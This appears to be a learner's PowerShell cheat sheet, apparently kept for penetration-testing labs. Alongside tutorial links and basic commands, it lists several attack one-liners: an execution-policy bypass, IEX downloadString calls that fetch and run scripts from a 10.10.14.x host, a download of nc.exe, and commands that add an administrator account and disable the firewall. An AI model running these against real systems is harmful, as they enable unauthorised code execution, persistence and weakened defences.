PowerShell

Goals

• To learn Powershell

Ref

• https://www.guru99.com/powershell-tutorial.html
• https://www.tutorialspoint.com/powershell/index.htm

Directory

• Win2012: (64 bit) C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe

ExecutionPolicy

• Allow to run remote signed: set-ExecutionPolicy RemoteSigned
• Bypass and run PS: CMD > powershell -nologo -executionpolicy bypass -file test.ps1

Run using powershell 64 bit

• %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
• %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/39719.ps1')"

Download file

• https://github.com/lethanhtung01011980/Notes/wiki/File-transfer-PowerShell
• powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.10.14.9/nc.exe', 'C:\Users\kostas\Desktop\nc.exe')
• (Not working?) In PS Shell, PS > IEX(New-Object Net.Webclient).downloadString('http://10.10.14.4/Sherlock.ps1')

Run

• .\FirstScript.ps1
• & "X:\FirstScript.ps1"
• 'cmd > powershell.exe > .\FirstScript.ps1'
• In cmd, powershell.exe .\hello.ps1

Run CMD in PowerShell

• PS > "dir" | cmd
• "net user newuser2 Password123 /add" | cmd
• "net localgroup administrators newuser2 /add" | cmd
• "netsh advfirewall set allprofiles state off" | cmd

Editor

Common commands

Ref: https://www.guru99.com/powershell-tutorial.html

• Create folder: New-Item -Path 'X:\Guru99' -ItemType Directory
• Echo: Write-Host "Hello, Kevin"
• Create file: New-Item "D:\hello2.ps1" -ItemType File
• Write to file: Set-Content "D:\hello2.ps1" 'Welcome to TutorialsPoint'
• Read from file: Get-Content "D:\hello2.ps1"
• Get current location: Get-Location

Invoke a command

• $Command = 'Get-Process'
• Invoke-Expression $Command
• IEX $Command

Tutorial

• Tutorial: https://www.tutorialspoint.com/powershell/index.htm
• Special variables: https://www.tutorialspoint.com/powershell/powershell_special_variables.htm
• String: @"This is a string"@